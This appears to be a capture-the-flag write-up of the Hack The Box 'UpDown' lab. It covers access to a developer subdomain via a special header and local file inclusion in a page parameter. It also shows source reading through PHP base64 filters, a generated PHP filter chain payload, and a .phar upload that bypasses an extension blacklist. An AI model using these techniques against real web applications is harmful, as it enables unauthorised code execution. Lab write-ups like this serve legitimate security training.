dev.siteisup.htb
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ curl -i http://siteisup.htb/dev/index.php -H 'Special-Dev: only4dev'
HTTP/1.1 200 OK
date: Mon, 04 Dec 2023 14:39:43 GMT
server: Apache/2.4.41 (Ubuntu)
content-length: 0
content-type: text/html; charset=UTF-8
Given the /dev/index.php
file still appears empty with the privileged header, it is likely that the change has been made already
Earlier, the dev.siteisup.htb
virtual was identified with no progress on enumeration due to the web server endlessly returning 403
This just might be where the aforementioned “new admin panel” is
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ curl -i http://dev.siteisup.htb/index.php -H 'Special-Dev: only4dev'
HTTP/1.1 200 OK
date: Mon, 04 Dec 2023 14:47:43 GMT
server: Apache/2.4.41 (Ubuntu)
vary: Accept-Encoding
content-length: 1220
content-type: text/html; charset=UTF-8
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>list of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
With the privileged header supplied, the Web server returned 200. It was here that the development team had migrated the admin panel to
From here I will have Burp Suite handle the privileged header with the built-in cookie jar
Webroot
It reveals the familiar interface from the source code enumeration earlier
changelog.txt
The changelog.txt hyperlink is broken due to the misuse of relative path
Admin Panel
The Admin Panel hyperlink at the right-top is rather interesting as seems to load resources using the
page
parameter
it may be using the php include with the extension being filtered out
LFI
Giving
index
to the page
parameter results in endless loading of the index.php
file and it eventually crashes
This confirms the LFI as the index.php
file itself contains the inclusion to the admin.php
file, resulting the screen above
File Read via PHP Conversion Filter
remote file read is achievable via the php conversion filter to “wrap” the target resource by encoding it in the base64 format. this is a commonly used technique to further utilize the existing LFI to perform file read operation
the syntax is
php://filter/convert.base64-encode/resource=<FILE>
Given the LFI is done with the .php
extension already appended, I can only access files with the .php
extension
There is the base64 string. I will grab that and convert it back to its original state offline on Kali
It should match the source code of the index.php
that was already enumerated
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo 'PGI+VGhpcyBpcyBvbmx5IGZvciBkZXZlbG9wZXJzPC9iPgo8YnI+CjxhIGhyZWY9Ij9wYWdlPWFkbWluIj5BZG1pbiBQYW5lbDwvYT4KPD9waHAKCWRlZmluZSgiRElSRUNUQUNDRVNTIixmYWxzZSk7CgkkcGFnZT0kX0dFVFsncGFnZSddOwoJaWYoJHBhZ2UgJiYgIXByZWdfbWF0Y2goIi9iaW58dXNyfGhvbWV8dmFyfGV0Yy9pIiwkcGFnZSkpewoJCWluY2x1ZGUoJF9HRVRbJ3BhZ2UnXSAuICIucGhwIik7Cgl9ZWxzZXsKCQlpbmNsdWRlKCJjaGVja2VyLnBocCIpOwoJfQkKPz4K' | base64 -d
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
It matches 100% I won’t need to confirm all the file individually Continuing the enumeration
LFI2RCE via PHP Filter Chain
Use of PHP filter could further be leveraged by chaining them all together as there are so many other PHP filters to take advantage of
It essentially would mean that all the characters could be transferred via the PHP filter conversion
There is a Python script that automates such process
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
The above command generates a chained-PHP-filter payload for the '<?php phpinfo(); ?>'
PHP command
phpinfo
PHP Code execution is possible this way.
disable_functions
However, looking at the PHP configuration, almost all of the functions used for establishing a shell session are disabled, such as exec, shell_exec, system, and passthru functions
I will need to check them thoroughly and there is a Python script for that
Check Dangerous Function (dfunc_bypasser.py)
this is a tool that can be used by developers to check if exploitation using LD_PRELOAD is still possible given the current
disable_functions
field in the php.ini
file and taking into consideration the PHP modules installed on the server.
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ mv ~/Downloads/PHP\ 8.0.20\ -\ phpinfo\(\).html ./phpinfo.html
i will first save the output of phpinfo
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ python2 dfunc_bypasser.py --file phpinfo.html
please add the following functions in your disable_functions option:
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket
the dfunc_bypasser.py tool flags the proc_open function for being missed out the proc_open function could be abuse for code execution while not as simple as the usual methods from exec, shell_exec, system, and passthru functions
Uploading feature
Considering the uploading feature’s blacklist omitted the .phar
extension, PHP code execution could be achieved by uploading a file with arbitrary PHP code and the .phar
extension
PHP archives or files that are packaged in the PHAR (PHP Archive) format are called PHAR files that fall under the category of executable files. PHAR files are files storing file collections and supporting bzip2 and gzip compression and archive checksums as well as they are also files used to distribute and run PHP applications with the use of only one file. PHAR files can be similar with the .JAR files of Java as well as they can also be run using PHP
The
.phar
extension works much like the.jar
extension of Java, and most importantly, it can be used like the regular .php
extension for code execution
PHP also supports the PHAR protocol that could be used in conjunction with the inclusion vulnerability.
In the current context, RFI doesn’t appear to be achievable, but it may be abused for uploaded files
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo -e '<?php phpinfo(); ?>' > phpinfo.phar
I will create a testing file with its content set to the PHP phpinfo function and give it the .phar
extension
Uploading sends out a POST request as expected.
This will run a series of PHP operations in the backend as previously enumerated
I will be uploaded to the directory (
uploads/<MD5_HASH_OF_CURRENT_TIMESTAMP>/
) directory
There is a generated directory in the
/uploads/
directory
However, it’s empty
This is because there is also deletion at the end of checking operation at the
checker.php
file
The testing PHAR file that I created earlier has no websites in it
Therefore, the target web app never scanned any website and went straight to the deletion part
As long as the scanning operation is in place, the uploaded file won’t be delete as it would need to resume
Re-attempt with Websites to Scan
┌──(kali㉿kali)-[~/archive/htb/labs/updown]
└─$ echo -e 'http://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\nhttp://10.10.16.8/blahblahblah\n<?php phpinfo(); ?>' > phpinfo.phar
I will give it a few websites to scan
Uploading it again
There is the newly generated directory at the
/upload/
directory
With the testing PHAR file inside and present;
phpinfo.phar
phpinfo.phar
Clicking into the testing file confirms the code execution
Additionally, the
disable_functions
field could be seen again here, with the extensive list of functions
Deletion
The testing file is wiped off momentarily, presumably due to the
@unlink
at the completion of scanning. I would have to be quick.
Moving on to the Exploitation phase